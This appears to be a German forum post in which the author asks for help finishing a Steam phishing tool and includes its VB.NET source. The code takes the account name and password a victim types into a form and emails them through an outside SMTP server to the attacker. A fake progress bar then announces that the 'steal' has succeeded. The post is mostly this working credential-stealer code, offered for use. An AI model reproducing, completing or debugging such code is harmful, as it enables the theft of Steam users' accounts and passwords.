VB.NET Phising Source Code.
Hi Ich bin an nem Phising tool dran für Steam.
Und ich komme einfach nicht bei der
Empfänger mail weiter sprich da.
Was muss ich dort eintragen ist ein fehler drin ? . -.- weiss nicht mehr weiter. :P.
Imports System.Net.Mail
Imports System.Net
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = "Account-Name: " + TextBox1.Text + " Passwort: " & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("DEINEEMAIL", "DEINPW")
->myClient.Send("DEINEEMAIL", "DEINEEMAIL, DEINEEMAIL", "Steam Account", text)<-------------------
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If ProgressBar1.Value = ProgressBar1.Maximum Then
MsgBox("Steal erfolgreich Pw: billyboy555")
Me.Close()
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
End Class